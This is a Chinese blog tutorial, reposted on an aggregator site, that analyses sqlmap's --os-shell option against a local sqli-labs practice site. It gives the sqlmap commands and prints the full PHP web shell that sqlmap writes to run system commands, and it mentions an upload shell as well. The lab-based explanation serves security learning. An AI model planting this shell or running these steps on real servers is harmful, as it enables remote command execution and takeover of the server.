IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqlmap —— os-shell参数分析 -> 正文阅读

[大数据]sqlmap —— os-shell参数分析

前言:

最近在看sqlmap,发现--os-shell这个命令很厉害,所以来研究一下。

一、os-shell执行原理

对于 Mysql 数据库来说,--os-shell的本质就是写入两个 php 文件,其中的一个可以让我们用来执行命令,而另外一个可以让我们可以上传文件。

说到写入文件,就要说一下上传文件的两个前提条件,首先我们要知道网站的绝对路径(我们的文件写入到哪里),然后要有导入导出的权限。

导入导出的权限在 Mysql 数据库中是由 secure_file_priv 参数来控制的,当这个参数后面为 null 时,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,如果后面没有值(为空)时,表示可以在任何文件夹下导入导出。
在这里插入图片描述
当 Mysql 5.7 版本以上的时候,secure_file_priv 参数的值默认为null,也就是说,如果管理员没有修改过这个参数后面的数值的话,我们没办法在5.7以上版本使用--os-shell

二、测试环境:

实验环境是在本机上使用 phpstudy 搭建的 sqli-libs 靶场,并且假设我们已知网站绝对路径。

三、过程演示

1、测试权限

首先,我们先测试是否为dba权限

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba

在这里插入图片描述
可以看到,当前用户拥有dba的权限,接下来就可以使用--os-shell了。

2、攻击
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
3、选择语言

sqlmap默认为ASP,此处根据需求选择。

4、输入绝对路径

在这里插入图片描述
选择2选项,输入绝对路径,我这里为:C:/phpStudy/WWW
在这里插入图片描述

5、建立 os-shell 并执行命令

在这里插入图片描述
成功建立 os-shell 并执行命令!

四、原理分析

原理其实很简单,就是用 into outfile 函数上传了两个php文件,如图
在这里插入图片描述
一个是 tmpunszu.php,可以用来上传文件,另一个是 tmpbjpgc.php,这个文件可以用来执行系统命令,并且将结果返回出来。

先来看下 tmpbjpgc.php文件,源码如下:

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
    $z=preg_replace('/[, ]+/',',',$z);
    $z=explode(',',$z);
    $z=array_map('trim',$z);}
else
    {
        $z=array();
        }
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    $w=NULL;
    while(!feof($t[1])){
        $w.=fread($t[1],512);
            }
        @proc_close($y);
}
    elseif(f('shell_exec')){
    $w=shell_exec($c);
    }
    elseif(f('passthru')){
        ob_start();
        passthru($c);
        $w=ob_get_contents();
        ob_end_clean();
        }elseif(f('popen')){
            $x=popen($c,r);
            $w=NULL;
            if(is_resource($x)){
                while(!feof($x)){
                $w.=fread($x,512);
                    }
                    }
                    @pclose($x);
                    }elseif(f('exec')){
                        $w=array();
                        exec($c,$w);
                        $w=join(chr(10),$w).chr(10);
                        }else{
                            $w=0;
                            }
                            print "</pre>".$w."</pre>";?>'''

上述代码实现了 os-shell 得到命令后如何执行,以及输出执行结果到 os-shell 中。我们可以直接通过该文件在网站URL里面往 cmd 传参,执行系统命令。
在这里插入图片描述

我们来访问一下 tmpunszu.php页面
在这里插入图片描述
上传一个php探针文件并访问
在这里插入图片描述
访问成功。

总结:

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理,通过往服务器上写入了两个shell文件,实现了执行系统命令和上传脚本文件的功能。🆗,本次分析到此结束。

参考文章:

https://www.cnblogs.com/Xiaoming0/p/13951894.html
https://www.cnblogs.com/lcamry/p/5505110.html
https://www.cnblogs.com/zzjdbk/p/13951047.html

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-08 11:51:37  更:2021-10-08 11:53:23 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:15:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码